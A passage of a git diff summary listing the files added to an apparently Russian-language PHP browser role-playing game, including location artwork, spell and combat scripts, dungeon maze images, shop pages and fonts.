-> 66779 bytes locations/parkovaja/img/night/h/portal.png | Bin 0 -> 44678 bytes .../parkovaja/img/night/h/repository.png | Bin 0 -> 64902 bytes .../img/night/h/vesna_cap_fontan2.png | Bin 0 -> 11507 bytes .../parkovaja/img/night/n/darkforest.png | Bin 0 -> 81882 bytes .../parkovaja/img/night/n/fonar_left.png | Bin 0 -> 9965 bytes .../parkovaja/img/night/n/fonar_right.png | Bin 0 -> 9943 bytes locations/parkovaja/img/night/n/horse.png | Bin 0 -> 77146 bytes locations/parkovaja/img/night/n/inn.png | Bin 0 -> 59403 bytes locations/parkovaja/img/night/n/portal.png | Bin 0 -> 41930 bytes .../parkovaja/img/night/n/repository.png | Bin 0 -> 56930 bytes .../img/night/n/vesna_cap_fontan2.png | Bin 0 -> 10703 bytes locations/parkovaja/map.php | 38 + locations/strashilkina/img/day/background.jpg | Bin 0 -> 56436 bytes locations/strashilkina/img/day/background.png | Bin 0 -> 668085 bytes locations/strashilkina/img/day/h/bank.png | Bin 0 -> 48030 bytes locations/strashilkina/img/day/h/casino.png | Bin 0 -> 52388 bytes .../strashilkina/img/day/h/deathtower.png | Bin 0 -> 116625 bytes .../strashilkina/img/day/h/flowershop.png | Bin 0 -> 46027 bytes locations/strashilkina/img/day/h/register.png | Bin 0 -> 83425 bytes locations/strashilkina/img/day/h/signleft.png | Bin 0 -> 8032 bytes .../strashilkina/img/day/h/signright.png | Bin 0 -> 7872 bytes locations/strashilkina/img/day/n/bank.png | Bin 0 -> 42895 bytes locations/strashilkina/img/day/n/casino.png | Bin 0 -> 47255 bytes .../strashilkina/img/day/n/deathtower.png | Bin 0 -> 111566 bytes .../strashilkina/img/day/n/flowershop.png | Bin 0 -> 41658 bytes locations/strashilkina/img/day/n/register.png | Bin 0 -> 73208 bytes locations/strashilkina/img/day/n/signleft.png | Bin 0 -> 7197 bytes .../strashilkina/img/day/n/signright.png | Bin 0 -> 7188 bytes .../img/day/n/zima_cap_arr_left.png | Bin 0 -> 2842 bytes .../img/day/n/zima_cap_arr_right.png | Bin 0 -> 2833 bytes .../strashilkina/img/day/n/zima_cap_bank.png | Bin 0 -> 19467 bytes .../img/day/n/zima_cap_flowershop.png | Bin 0 -> 19034 bytes .../img/day/n/zima_cap_registratura.png | Bin 0 -> 17676 bytes .../img/day/n/zima_cap_strash_day.jpg | Bin 0 -> 56436 bytes .../strashilkina/img/day/n/zima_cap_tower.png | Bin 0 -> 42771 bytes .../strashilkina/img/day/n/zima_cap_tree.png | Bin 0 -> 28401 bytes .../strashilkina/img/night/background.jpg | Bin 0 -> 60955 bytes .../strashilkina/img/night/background.png | Bin 0 -> 570322 bytes locations/strashilkina/img/night/h/bank.png | Bin 0 -> 44074 bytes locations/strashilkina/img/night/h/casino.png | Bin 0 -> 49440 bytes .../strashilkina/img/night/h/deathtower.png | Bin 0 -> 103864 bytes .../strashilkina/img/night/h/flowershop.png | Bin 0 -> 42619 bytes .../strashilkina/img/night/h/register.png | Bin 0 -> 77492 bytes .../strashilkina/img/night/h/signleft.png | Bin 0 -> 7870 bytes .../strashilkina/img/night/h/signright.png | Bin 0 -> 7719 bytes locations/strashilkina/img/night/n/bank.png | Bin 0 -> 37869 bytes locations/strashilkina/img/night/n/casino.png | Bin 0 -> 43205 bytes .../strashilkina/img/night/n/deathtower.png | Bin 0 -> 94986 bytes .../strashilkina/img/night/n/flowershop.png | Bin 0 -> 35201 bytes .../strashilkina/img/night/n/register.png | Bin 0 -> 65922 bytes .../strashilkina/img/night/n/signleft.png | Bin 0 -> 6597 bytes .../strashilkina/img/night/n/signright.png | Bin 0 -> 6447 bytes .../img/night/n/zima_cap_arr_left.png | Bin 0 -> 2842 bytes .../img/night/n/zima_cap_arr_right.png | Bin 0 -> 2833 bytes .../img/night/n/zima_cap_bank.png | Bin 0 -> 19467 bytes .../img/night/n/zima_cap_flowershop.png | Bin 0 -> 19034 bytes .../img/night/n/zima_cap_registratura.png | Bin 0 -> 17676 bytes .../img/night/n/zima_cap_strash_day.jpg | Bin 0 -> 56436 bytes .../img/night/n/zima_cap_tower.png | Bin 0 -> 42771 bytes .../img/night/n/zima_cap_tree.png | Bin 0 -> 28401 bytes locations/strashilkina/map.php | 38 + .../strashilkina2/img/day/background.png | Bin 0 -> 668085 bytes locations/strashilkina2/img/day/h/bank.png | Bin 0 -> 48030 bytes locations/strashilkina2/img/day/h/casino.png | Bin 0 -> 52388 bytes .../strashilkina2/img/day/h/deathtower.png | Bin 0 -> 116625 bytes .../strashilkina2/img/day/h/flowershop.png | Bin 0 -> 46027 bytes .../strashilkina2/img/day/h/register.png | Bin 0 -> 83425 bytes .../strashilkina2/img/day/h/signleft.png | Bin 0 -> 8032 bytes .../strashilkina2/img/day/h/signright.png | Bin 0 -> 7872 bytes locations/strashilkina2/img/day/n/bank.png | Bin 0 -> 42895 bytes locations/strashilkina2/img/day/n/casino.png | Bin 0 -> 47255 bytes .../strashilkina2/img/day/n/deathtower.png | Bin 0 -> 111566 bytes .../strashilkina2/img/day/n/flowershop.png | Bin 0 -> 41658 bytes .../strashilkina2/img/day/n/register.png | Bin 0 -> 73208 bytes .../strashilkina2/img/day/n/signleft.png | Bin 0 -> 7197 bytes .../strashilkina2/img/day/n/signright.png | Bin 0 -> 7188 bytes .../strashilkina2/img/night/background.png | Bin 0 -> 570322 bytes locations/strashilkina2/img/night/h/bank.png | Bin 0 -> 44074 bytes .../strashilkina2/img/night/h/casino.png | Bin 0 -> 49440 bytes .../strashilkina2/img/night/h/deathtower.png | Bin 0 -> 103864 bytes .../strashilkina2/img/night/h/flowershop.png | Bin 0 -> 42619 bytes .../strashilkina2/img/night/h/register.png | Bin 0 -> 77492 bytes .../strashilkina2/img/night/h/signleft.png | Bin 0 -> 7870 bytes .../strashilkina2/img/night/h/signright.png | Bin 0 -> 7719 bytes locations/strashilkina2/img/night/n/bank.png | Bin 0 -> 37869 bytes .../strashilkina2/img/night/n/casino.png | Bin 0 -> 43205 bytes .../strashilkina2/img/night/n/deathtower.png | Bin 0 -> 94986 bytes .../strashilkina2/img/night/n/flowershop.png | Bin 0 -> 35201 bytes .../strashilkina2/img/night/n/register.png | Bin 0 -> 65922 bytes .../strashilkina2/img/night/n/signleft.png | Bin 0 -> 6597 bytes .../strashilkina2/img/night/n/signright.png | Bin 0 -> 6447 bytes locations/strashilkina2/map.php | 37 + locations/style.css | 62 + logs.php | 141 + lotery.php | 537 ++ luka_shop.php | 327 + magic/8cure30.php | 60 + magic/al_neut_power.php | 29 + magic/antedot.php | 27 + magic/attack.php | 179 + magic/attack_t.php | 195 + magic/attackbot.php | 85 + magic/attackk.php | 188 + magic/attackk_close.php | 155 + magic/attackk_open.php | 155 + magic/battack.php | 197 + magic/bexit.php | 61 + magic/blank.php | 0 magic/brat.php | 163 + magic/c30_100.php | 61 + magic/check.php | 44 + magic/cityattack.php | 182 + magic/clone.php | 49 + magic/clones.php | 39 + magic/cpattack.php | 196 + magic/ct1.php | 45 + magic/ct2.php | 50 + magic/ct3.php | 53 + magic/ct3_100.php | 50 + magic/ct_all.php | 35 + magic/ct_nele4.php | 44 + magic/cure120.php | 65 + magic/cure15.php | 55 + magic/cure150.php | 66 + magic/cure30.php | 64 + magic/cure300.php | 63 + magic/cure30_100.php | 61 + magic/cure30_8.php | 54 + magic/cure45.php | 63 + magic/cure60.php | 63 + magic/cure_20.php | 28 + magic/cure_35.php | 28 + magic/cure_50.php | 28 + magic/cure_d.php | 13 + magic/cure_rep_120.php | 37 + magic/cure_rep_150.php | 37 + magic/cure_rep_180.php | 37 + magic/cure_rep_270.php | 37 + magic/cure_rep_360.php | 37 + magic/cure_rep_90.php | 37 + magic/ddark.php | 89 + magic/death.php | 88 + magic/death_off.php | 52 + magic/defence.php | 33 + magic/devastate.php | 34 + magic/dlight.php | 89 + magic/dneit.php | 89 + magic/dob10.php | 14 + magic/dob100.php | 14 + magic/dob20.php | 14 + magic/dob450.php | 14 + magic/dob5.php | 14 + magic/dob50.php | 14 + magic/down.php | 35 + magic/dpal.php | 51 + magic/eattack.php | 205 + magic/ebattack.php | 205 + magic/elem_ally_air.php | 49 + magic/elem_ally_earth.php | 49 + magic/elem_ally_fire.php | 49 + magic/elem_ally_water.php | 49 + magic/elem_foe_air.php | 54 + magic/elem_foe_earth.php | 54 + magic/elem_foe_fire.php | 54 + magic/elem_foe_water.php | 54 + magic/elikbroni.php | 31 + magic/elikurona.php | 31 + magic/fist_def.php | 27 + magic/haos.php | 145 + magic/haos_off.php | 48 + magic/hidden.php | 26 + magic/hiden.php | 23 + magic/ident.php | 31 + magic/incmagic.php | 75 + magic/larec1.php | 160 + magic/larec2.php | 167 + magic/larec3.php | 168 + magic/larec4.php | 207 + magic/ldadd.php | 53 + magic/luck.php | 53 + magic/marry.php | 46 + magic/mfunctions.php | 8 + magic/note.php | 16 + magic/nybut.php | 12 + magic/obezl.php | 69 + magic/obezl_off.php | 53 + magic/paket.php | 20 + magic/pal_off.php | 48 + magic/payok.php | 12 + magic/rom.php | 21 + magic/scaner.php | 23 + magic/sharp_d1.php | 36 + magic/sharp_d11.php | 36 + magic/sharp_d2.php | 36 + magic/sharp_d3.php | 36 + magic/sharp_d4.php | 36 + magic/sharp_d5.php | 36 + magic/sharp_m1.php | 35 + magic/sharp_m11.php | 36 + magic/sharp_m2.php | 35 + magic/sharp_m3.php | 34 + magic/sharp_m4.php | 35 + magic/sharp_m5.php | 36 + magic/sharp_n1.php | 36 + magic/sharp_n11.php | 36 + magic/sharp_n2.php | 36 + magic/sharp_n3.php | 36 + magic/sharp_n4.php | 36 + magic/sharp_n5.php | 36 + magic/sharp_t1.php | 36 + magic/sharp_t11.php | 36 + magic/sharp_t2.php | 36 + magic/sharp_t3.php | 36 + magic/sharp_t4.php | 36 + magic/sharp_t5.php | 36 + magic/sleep.php | 113 + magic/sleep15.php | 35 + magic/sleep30.php | 35 + magic/sleep_off.php | 54 + magic/sleepf.php | 73 + magic/sleepf_off.php | 53 + magic/stop.php | 43 + magic/stop_200.php | 43 + magic/sunduk.php | 53 + magic/sunduk1.php | 53 + magic/sunduk2.php | 53 + magic/sunduk3.php | 53 + magic/sunduk4.php | 53 + magic/sunduk5.php | 53 + magic/sunduk6.php | 44 + magic/sunduk7.php | 30 + magic/sunduk8.php | 30 + magic/sunduk9.php | 30 + magic/svitok2.php | 32 + magic/un_align.php | 15 + magic/unclone.php | 76 + magic/unmarry.php | 46 + magic/usability_klan/attack.php | 138 + magic/usability_klan/attack_blood.php | 138 + magic/usability_klan/clone.php | 39 + magic/usability_klan/close_battle.php | 19 + magic/usability_klan/heal20.php | 33 + magic/usability_klan/heal35.php | 33 + magic/usability_klan/heal50.php | 33 + magic/usability_klan/note.php | 35 + magic/usability_klan/open_battle.php | 21 + magic/usability_klan/reamdeath.php | 28 + magic/usability_klan/sleep15.php | 30 + magic/usability_klan/sleep30.php | 30 + magic/usability_klan/travmoff.php | 21 + magic/usability_klan/unclone.php | 68 + magic/usability_user/attack.php | 138 + magic/usability_user/attack_blood.php | 138 + magic/usability_user/clone.php | 39 + magic/usability_user/close_battle.php | 19 + magic/usability_user/heal20.php | 33 + magic/usability_user/heal35.php | 33 + magic/usability_user/heal50.php | 33 + magic/usability_user/note.php | 35 + magic/usability_user/open_battle.php | 21 + magic/usability_user/reamdeath.php | 28 + magic/usability_user/sleep15.php | 30 + magic/usability_user/sleep30.php | 30 + magic/usability_user/travmoff.php | 21 + magic/usability_user/unclone.php | 72 + magic/usability_vip/attack.php | 138 + magic/usability_vip/attack_blood.php | 137 + magic/usability_vip/defence.php | 21 + magic/usability_vip/devastate.php | 21 + magic/usability_vip/invisible.php | 30 + magic/usability_vip/no_attack.php | 21 + magic/usability_vip/pers_blood.php | 131 + magic/usability_vip/sleep.php | 30 + magic/usability_vip/travmoff.php | 22 + magic/usability_vip/un_sleep.php | 20 + magic/vampir.php | 167 + magic/vips.php | 150 + magic/wis_air_def1.php | 46 + magic/wis_air_def2.php | 46 + magic/wis_air_def3.php | 46 + magic/wis_air_h1.php | 127 + magic/wis_air_h2.php | 127 + magic/wis_air_h3.php | 127 + magic/wis_air_m1.php | 133 + magic/wis_air_m2.php | 133 + magic/wis_air_m3.php | 133 + magic/wis_air_o1.php | 68 + magic/wis_air_o2.php | 69 + magic/wis_air_o3.php | 69 + magic/wis_air_t1.php | 122 + magic/wis_air_t2.php | 122 + magic/wis_air_t3.php | 122 + magic/wis_earth_d1.php | 127 + magic/wis_earth_d2.php | 127 + magic/wis_earth_d3.php | 126 + magic/wis_earth_def1.php | 46 + magic/wis_earth_def2.php | 46 + magic/wis_earth_def3.php | 45 + magic/wis_earth_g1.php | 72 + magic/wis_earth_g2.php | 71 + magic/wis_earth_g3.php | 70 + magic/wis_earth_k1.php | 123 + magic/wis_earth_k2.php | 122 + magic/wis_earth_k3.php | 122 + magic/wis_earth_m1.php | 133 + magic/wis_earth_m2.php | 133 + magic/wis_earth_m3.php | 133 + magic/wis_fire_def1.php | 45 + magic/wis_fire_def2.php | 45 + magic/wis_fire_def3.php | 45 + magic/wis_fire_i1.php | 70 + magic/wis_fire_i2.php | 71 + magic/wis_fire_i3.php | 70 + magic/wis_fire_p1.php | 122 + magic/wis_fire_p2.php | 122 + magic/wis_fire_p3.php | 122 + magic/wis_fire_t1.php | 127 + magic/wis_fire_t2.php | 127 + magic/wis_fire_t3.php | 127 + magic/wis_fire_v1.php | 133 + magic/wis_fire_v2.php | 133 + magic/wis_fire_v3.php | 134 + magic/wis_water_ch1.php | 71 + magic/wis_water_ch2.php | 71 + magic/wis_water_ch3.php | 71 + magic/wis_water_def1.php | 46 + magic/wis_water_def2.php | 45 + magic/wis_water_def3.php | 46 + magic/wis_water_o1.php | 133 + magic/wis_water_o2.php | 133 + magic/wis_water_o3.php | 133 + magic/wis_water_r1.php | 127 + magic/wis_water_r2.php | 127 + magic/wis_water_r3.php | 127 + magic/wis_water_tr1.php | 123 + magic/wis_water_tr2.php | 122 + magic/wis_water_tr3.php | 122 + magic/zapas_.php | 2 + magic/zz.php | 46 + mailsender.php | 123 + main.php | 2474 ++++++ map/includes/mapmove_class.php | 24 + map/index.php | 12 + map/map/-4x2 | 1 + map/map/-4x9 | 1 + map/map/0x0 | 1 + map/map/2x4 | 1 + mg.php | 22 + mg2.php | 11 + moderonline.php | 113 + module_quest.php | 122 + navig.php | 262 + new_year.php | 133 + online.html | 19 + online.php | 648 ++ online_get_u_s.php | 6 + orden.php | 666 ++ palklan.php | 41 + payment_f.php | 30 + perenoskomplekta.php | 26 + podz.php | 18 + podzem/atk.php | 66 + podzem/connect.php | 17 + podzem/edit.php | 51 + podzem/edit_podzem.php | 1675 ++++ podzem/labirint3/1.gif | Bin 0 -> 62 bytes podzem/labirint3/1/cn1.gif | 757 ++ podzem/labirint3/1/cn2.gif | 289 + podzem/labirint3/1/cn3.gif | Bin 0 -> 12208 bytes podzem/labirint3/1/cy3.gif | Bin 0 -> 8355 bytes podzem/labirint3/1/index.html | 1 + podzem/labirint3/1/kanal.gif | Bin 0 -> 2262 bytes podzem/labirint3/1/l1.gif | Bin 0 -> 62 bytes podzem/labirint3/1/ln1.gif | 212 + podzem/labirint3/1/ln2.gif | Bin 0 -> 13036 bytes podzem/labirint3/1/ln3.gif | Bin 0 -> 5213 bytes podzem/labirint3/1/ln4.gif | Bin 0 -> 2955 bytes podzem/labirint3/1/ly1.gif | 252 + podzem/labirint3/1/ly2.gif | 223 + podzem/labirint3/1/ly3.gif | Bin 0 -> 12297 bytes podzem/labirint3/1/ly4.gif | Bin 0 -> 7965 bytes podzem/labirint3/1/n1.gif | Bin 0 -> 63 bytes podzem/labirint3/1/r1.gif | Bin 0 -> 62 bytes podzem/labirint3/1/rn1.gif | 178 + podzem/labirint3/1/rn2.gif | Bin 0 -> 13010 bytes podzem/labirint3/1/rn3.gif | Bin 0 -> 5199 bytes podzem/labirint3/1/rn4.gif | Bin 0 -> 2936 bytes podzem/labirint3/1/rn5.gif | Bin 0 -> 4575 bytes podzem/labirint3/1/ry1.gif | 197 + podzem/labirint3/1/ry2.gif | 210 + podzem/labirint3/1/ry3.gif | Bin 0 -> 10765 bytes podzem/labirint3/1/ry4.gif | Bin 0 -> 8581 bytes podzem/labirint3/1/stok.gif | Bin 0 -> 1523 bytes podzem/labirint3/1/v1.gif | Bin 0 -> 63 bytes podzem/labirint3/1/yo.gif | Bin 0 -> 10816 bytes podzem/labirint3/111.gif | Bin 0 -> 11177 bytes podzem/labirint3/12.gif | Bin 0 -> 37769 bytes podzem/labirint3/122.gif | Bin 0 -> 20617 bytes podzem/labirint3/1_l.gif | Bin 0 -> 63 bytes podzem/labirint3/1_n.gif | Bin 0 -> 62 bytes podzem/labirint3/1_r.gif | Bin 0 -> 62 bytes podzem/labirint3/1_v.gif | Bin 0 -> 63 bytes podzem/labirint3/2.gif | Bin 0 -> 62 bytes podzem/labirint3/2_l.gif | Bin 0 -> 63 bytes podzem/labirint3/2_n.gif | Bin 0 -> 62 bytes podzem/labirint3/2_r.gif | Bin 0 -> 62 bytes podzem/labirint3/2_v.gif | Bin 0 -> 62 bytes podzem/labirint3/3.gif | Bin 0 -> 63 bytes podzem/labirint3/4.gif | Bin 0 -> 63 bytes podzem/labirint3/bg.gif | Bin 0 -> 1118 bytes podzem/labirint3/diz.gif | Bin 0 -> 69611 bytes podzem/labirint3/gad.gif | Bin 0 -> 10790 bytes podzem/labirint3/index.html | 1 + podzem/labirint3/key1.gif | Bin 0 -> 2008 bytes podzem/labirint3/key2.gif | Bin 0 -> 1995 bytes podzem/labirint3/key3.gif | Bin 0 -> 2009 bytes podzem/labirint3/key4.gif | Bin 0 -> 2209 bytes podzem/labirint3/key5.gif | Bin 0 -> 2193 bytes podzem/labirint3/key6.gif | Bin 0 -> 2198 bytes podzem/labirint3/key7.gif | Bin 0 -> 2200 bytes podzem/labirint3/key8.gif | Bin 0 -> 2211 bytes podzem/labirint3/key9.gif | Bin 0 -> 2200 bytes podzem/labirint3/krisa.gif | Bin 0 -> 12236 bytes podzem/labirint3/luka.gif | Bin 0 -> 11169 bytes podzem/labirint3/maps.jpg | Bin 0 -> 7656 bytes podzem/labirint3/mart.gif | Bin 0 -> 11560 bytes podzem/labirint3/merz.gif | Bin 0 -> 37769 bytes podzem/labirint3/move.gif | Bin 0 -> 804 bytes podzem/labirint3/navi.gif | Bin 0 -> 12453 bytes podzem/labirint3/nazad.gif | Bin 0 -> 1745 bytes podzem/labirint3/obit.gif | Bin 0 -> 21203 bytes podzem/labirint3/pauk.gif | Bin 0 -> 5062 bytes podzem/labirint3/podzem.jpg | Bin 0 -> 71292 bytes podzem/labirint3/podzem2.jpg | Bin 0 -> 71498 bytes podzem/labirint3/rewet.gif | Bin 0 -> 72891 bytes podzem/labirint3/rn1.gif | 178 + podzem/labirint3/sclad.gif | Bin 0 -> 50825 bytes podzem/labirint3/sclad2.jpg | Bin 0 -> 49384 bytes podzem/labirint3/sclad3.jpg | Bin 0 -> 46564 bytes podzem/labirint3/sclad4.jpg | Bin 0 -> 45955 bytes podzem/labirint3/sun.gif | Bin 0 -> 2499 bytes podzem/labirint3/telep.gif | Bin 0 -> 5237 bytes podzem/labirint3/user.gif | Bin 0 -> 814 bytes podzem/labirint3/vlevo.gif | Bin 0 -> 1358 bytes podzem/labirint3/vpravo.gif | Bin 0 -> 1241 bytes podzem/labirint3/vverh.gif | Bin 0 -> 1712 bytes podzem/labirint3/yeralti.gif | Bin 0 -> 45057 bytes podzem/labirint3/yerustu.gif | Bin 0 -> 59956 bytes podzem/labirint3/yo.gif | Bin 0 -> 11099 bytes podzem/labirint3/yos.gif | Bin 0 -> 16956 bytes podzem/labirint3/zel.gif | Bin 0 -> 25293 bytes podzem/labirint3/zombi.gif | Bin 0 -> 11991 bytes podzem/labirint3/zud.gif | Bin 0 -> 9870 bytes podzem/labirint3/zuk.gif | Bin 0 -> 5620 bytes podzem/podz.php | 18 + podzem/raschet_bot.php | 162 + podzem_brat.php | 7 + podzem_dialog.php | 450 ++ podzem_mod.php | 324 + podzem_res.php | 112 + pole.php | 264 + pole_cron.php | 74 + post.php | 283 + proba.php | 39 + quest_room.php | 166 + rating/index.php | 370 + rating/index_files/Thumbs.db | Bin 0 -> 8192 bytes rating/index_files/cigame-logo-ny.png | Bin 0 -> 5888 bytes rating/index_files/css | 224 + rating/index_files/dct.js | 1 + rating/index_files/dynamic.js | 758 ++ rating/index_files/f_f_p1.jpg | Bin 0 -> 36878 bytes rating/index_files/f_p1 | Bin 0 -> 26227 bytes rating/index_files/f_p1(1) | Bin 0 -> 36878 bytes rating/index_files/f_p1(2).jpg | Bin 0 -> 26227 bytes rating/index_files/f_p1.jpg | Bin 0 -> 36878 bytes rating/index_files/f_p2 | Bin 0 -> 34872 bytes rating/index_files/f_p3 | Bin 0 -> 30637 bytes rating/index_files/form.css | 657 ++ rating/index_files/jquery-ui.min.css | 7 + rating/index_files/jquery-ui.min.js | 8 + .../index_files/jquery-ui.structure.min.css | 5 + rating/index_files/jquery-ui.theme.min.css | 5 + rating/index_files/jquery.js | 287 + rating/index_files/kb.js | 1 + rating/index_files/main.css | 2051 +++++ rating/index_files/palgame-logo.gif | Bin 0 -> 207803 bytes rating/index_files/palgame-logo.png | Bin 0 -> 74061 bytes rating/index_files/pic.css | 181 + rating/index_files/pluso-like.js | 2 + rating/index_files/process | 1 + rating/index_files/stat.css | 290 + rating/index_files/static.js | 21 + rating/index_files/watch.js | 126 + rating_users.php | 127 + ratio.php | 24 + ref.php | 337 + refreshed.html | 41 + register.php | 73 + relikt.php | 559 ++ rememberpassword.php | 117 + rep_shop.php | 487 ++ repair.php | 540 ++ right.html | 8 + robots.txt | 3 + sec1.php | 86 + section0/law.txt | 94 + section0/preamble.txt | 34 + section0/start.txt | 53 + section0/vocabilory.txt | 334 + shop.php | 360 + shop/index.php | 402 + .../337e6049a4c1cedb4f0a6501e6e047eb.jpg | Bin 0 -> 79470 bytes .../3ac2b40d5d219f97b1d6ea890955cdfc.jpg | Bin 0 -> 22309 bytes .../4f40b2d950a4f71a3027b255d6612e77.jpg | Bin 0 -> 3546 bytes .../655076a6081b4751529a17a1423de9b5.jpg | Bin 0 -> 74018 bytes .../674a09e06a92d8594c1cf128c56d885a.jpg | 7 + shop/index_files/Thumbs.db | Bin 0 -> 10240 bytes .../b36577996e80254b6a4feda27f63703d.jpg | Bin 0 -> 20867 bytes .../beee5222c8127081c0bc441264090884.jpg | Bin 0 -> 123031 bytes shop/index_files/cigame-logo-ny.png | Bin 0 -> 5888 bytes shop/index_files/css | 224 + shop/index_files/dct.js | 1 + shop/index_files/dynamic.js | 758 ++ .../f2072cc76b5735960e01fd0f4471596d.jpg | Bin 0 -> 18992 bytes shop/index_files/faq.css | 203 + shop/index_files/form.css | 657 ++ shop/index_files/jquery-ui.min.css | 7 + shop/index_files/jquery-ui.min.js | 8 + shop/index_files/jquery-ui.structure.min.css | 5 + shop/index_files/jquery-ui.theme.min.css | 5 + shop/index_files/jquery.js | 287 + shop/index_files/kb.js | 1 + shop/index_files/main.css | 2053 +++++ shop/index_files/palgame-logo.gif | Bin 0 -> 207803 bytes shop/index_files/palgame-logo.png | Bin 0 -> 74061 bytes shop/index_files/pic.css | 181 + shop/index_files/pluso-like.js | 2 + shop/index_files/process | 1 + shop/index_files/static.js | 21 + shop/index_files/watch.js | 126 + shop_luka.php | 291 + smiles.html | 23 + sound/sound.swf | Bin 0 -> 1614 bytes spambase.txt | 1 + startpodzemel.php | 128 + stat_battle.php | 218 + static/flash/Sound.0.0.4.swf | Bin 0 -> 75086 bytes static/flash/Sound.0.0.5.swf | Bin 0 -> 63594 bytes static/flash/Sound.0.0.6.swf | Bin 0 -> 63591 bytes static/flash/Sound.0.0.7.swf | Bin 0 -> 75570 bytes static/flash/Sound.fla | Bin 0 -> 469055 bytes static/flash/ZeroClipboard.fla | Bin 0 -> 53760 bytes static/flash/ZeroClipboard.swf | 18 + static/flash/clock.swf | Bin 0 -> 5630 bytes static/fonts/ARDESTINE.ttf | Bin 0 -> 45856 bytes static/fonts/ARESSENCE.ttf | Bin 0 -> 73312 bytes static/fonts/Bradley Hand ITC.ttf | Bin 0 -> 105296 bytes static/fonts/CHILLER.ttf | Bin 0 -> 96452 bytes static/fonts/Edgar_da_cool_Regular.ttf | Bin 0 -> 49620 bytes static/fonts/FRSCRIPT.ttf | Bin 0 -> 58580 bytes static/fonts/Fh_Script_Regular.ttf | Bin 0 -> 30604 bytes static/fonts/Gabo4_Gabo4.ttf | Bin 0 -> 67340 bytes static/fonts/Hurryup_Hurryup.ttf | Bin 0 -> 18184 bytes static/fonts/JAMI_Regular.ttf | Bin 0 -> 44880 bytes static/fonts/Justy1_Regular.ttf | Bin 0 -> 36108 bytes static/fonts/cour.ttf | Bin 0 -> 719840 bytes static/fonts/courbd.ttf | Bin 0 -> 718436 bytes static/fonts/courbi.ttf | Bin 0 -> 523948 bytes static/fonts/couri.ttf | Bin 0 -> 615116 bytes static/fonts/de_Manu_2_Regular.ttf | Bin 0 -> 42408 bytes static/image.php | 57 + static/images/1.gif | Bin 0 -> 862 bytes static/images/18.gif | Bin 0 -> 1204 bytes static/images/19.gif | Bin 0 -> 416 bytes static/images/1blue.gif | Bin 0 -> 804 bytes static/images/1down-grey.gif | Bin 0 -> 94 bytes static/images/1green.gif | Bin 0 -> 37 bytes static/images/1red.gif | Bin 0 -> 37 bytes static/images/1silver.gif | Bin 0 -> 37 bytes static/images/1up-grey.gif | Bin 0 -> 76 bytes static/images/1x1.gif | Bin 0 -> 49 bytes static/images/1yellow.gif | Bin 0 -> 37 bytes static/images/2.gif | Bin 0 -> 94 bytes static/images/20.gif | Bin 0 -> 438 bytes static/images/3.gif | Bin 0 -> 861 bytes static/images/30.gif | Bin 0 -> 412 bytes static/images/33.gif | Bin 0 -> 402 bytes static/images/4.gif | Bin 0 -> 76 bytes static/images/40.gif | Bin 0 -> 432 bytes static/images/50.gif | Bin 0 -> 414 bytes static/images/8.gif | Bin 0 -> 773 bytes static/images/Mherz.gif | Bin 0 -> 298 bytes static/images/anpx.psd | Bin 0 -> 25932 bytes static/images/apple-touch-icon1.png | Bin 0 -> 6334 bytes static/images/apple-touch-icon2.png | Bin 0 -> 11658 bytes static/images/apple-touch-icon3.png | Bin 0 -> 11658 bytes static/images/apx_d4d4d4.psd | Bin 0 -> 33785 bytes static/images/apxb_c8c8c8.gif | Bin 0 -> 1820 bytes static/images/apxb_d4d4d4.gif | Bin 0 -> 1820 bytes static/images/apxr_c8c8c8.gif | Bin 0 -> 1820 bytes static/images/apxr_d4d4d4.gif | Bin 0 -> 1820 bytes static/images/artefact.gif | Bin 0 -> 203 bytes static/images/b__cancel.jpg | Bin 0 -> 12218 bytes static/images/b__ok.gif | Bin 0 -> 319 bytes static/images/bgc0.jpg | Bin 0 -> 10877 bytes static/images/bgc1.jpg | Bin 0 -> 10873 bytes static/images/bgc2.jpg | Bin 0 -> 10915 bytes static/images/blink.gif | Bin 0 -> 656 bytes static/images/chatmenu.jpg | Bin 0 -> 25916 bytes static/images/chatmenu.png | Bin 0 -> 2333 bytes static/images/chatmenu.psd | Bin 0 -> 53271 bytes static/images/chatmenu2.psd | Bin 0 -> 89556 bytes static/images/chatmenu3.psd | Bin 0 -> 61425 bytes static/images/clear.gif | Bin 0 -> 102 bytes static/images/clock.psd | Bin 0 -> 24397 bytes static/images/clock0.png | Bin 0 -> 614 bytes static/images/clock1.png | Bin 0 -> 533 bytes static/images/clock2.png | Bin 0 -> 605 bytes static/images/clock3.png | Bin 0 -> 576 bytes static/images/clock4.png | Bin 0 -> 583 bytes static/images/clock5.png | Bin 0 -> 607 bytes static/images/clock6.png | Bin 0 -> 610 bytes static/images/clock7.png | Bin 0 -> 549 bytes static/images/clock8.png | Bin 0 -> 614 bytes static/images/clock9.png | Bin 0 -> 608 bytes static/images/clockrz.png | Bin 0 -> 500 bytes static/images/clok3_2.png | Bin 0 -> 349 bytes static/images/close2.gif | Bin 0 -> 65 bytes static/images/close_bank.gif | Bin 0 -> 126 bytes static/images/combats.png | Bin 0 -> 7951 bytes static/images/copy.png | Bin 0 -> 1813 bytes static/images/copy.psd | Bin 0 -> 94698 bytes static/images/curse_attack.gif | Bin 0 -> 138 bytes static/images/damage.gif | Bin 0 -> 1828 bytes static/images/dealer1.gif | Bin 0 -> 585 bytes static/images/defender.gif | Bin 0 -> 1582 bytes static/images/design/b___.gif | Bin 0 -> 507 bytes static/images/design/b_notepad.gif | Bin 0 -> 1617 bytes static/images/design/chatBtn1.gif | Bin 0 -> 1014 bytes static/images/design/chatBtn10.gif | Bin 0 -> 608 bytes static/images/design/chatBtn11.gif | Bin 0 -> 594 bytes static/images/design/chatBtn12.gif | Bin 0 -> 740 bytes static/images/design/chatBtn13.gif | Bin 0 -> 583 bytes static/images/design/chatBtn14.gif | Bin 0 -> 587 bytes static/images/design/chatBtn15.gif | Bin 0 -> 594 bytes static/images/design/chatBtn16.gif | Bin 0 -> 610 bytes static/images/design/chatBtn17.gif | Bin 0 -> 1084 bytes static/images/design/chatBtn18.gif | Bin 0 -> 1943 bytes static/images/design/chatBtn19.gif | Bin 0 -> 579 bytes static/images/design/chatBtn2.gif | Bin 0 -> 1965 bytes static/images/design/chatBtn20.gif | Bin 0 -> 1351 bytes static/images/design/chatBtn21.gif | Bin 0 -> 2001 bytes static/images/design/chatBtn3.gif | Bin 0 -> 663 bytes static/images/design/chatBtn4.gif | Bin 0 -> 1086 bytes static/images/design/chatBtn5.gif | Bin 0 -> 1536 bytes static/images/design/chatBtn6.gif | Bin 0 -> 1014 bytes static/images/design/chatBtn7.gif | Bin 0 -> 1372 bytes 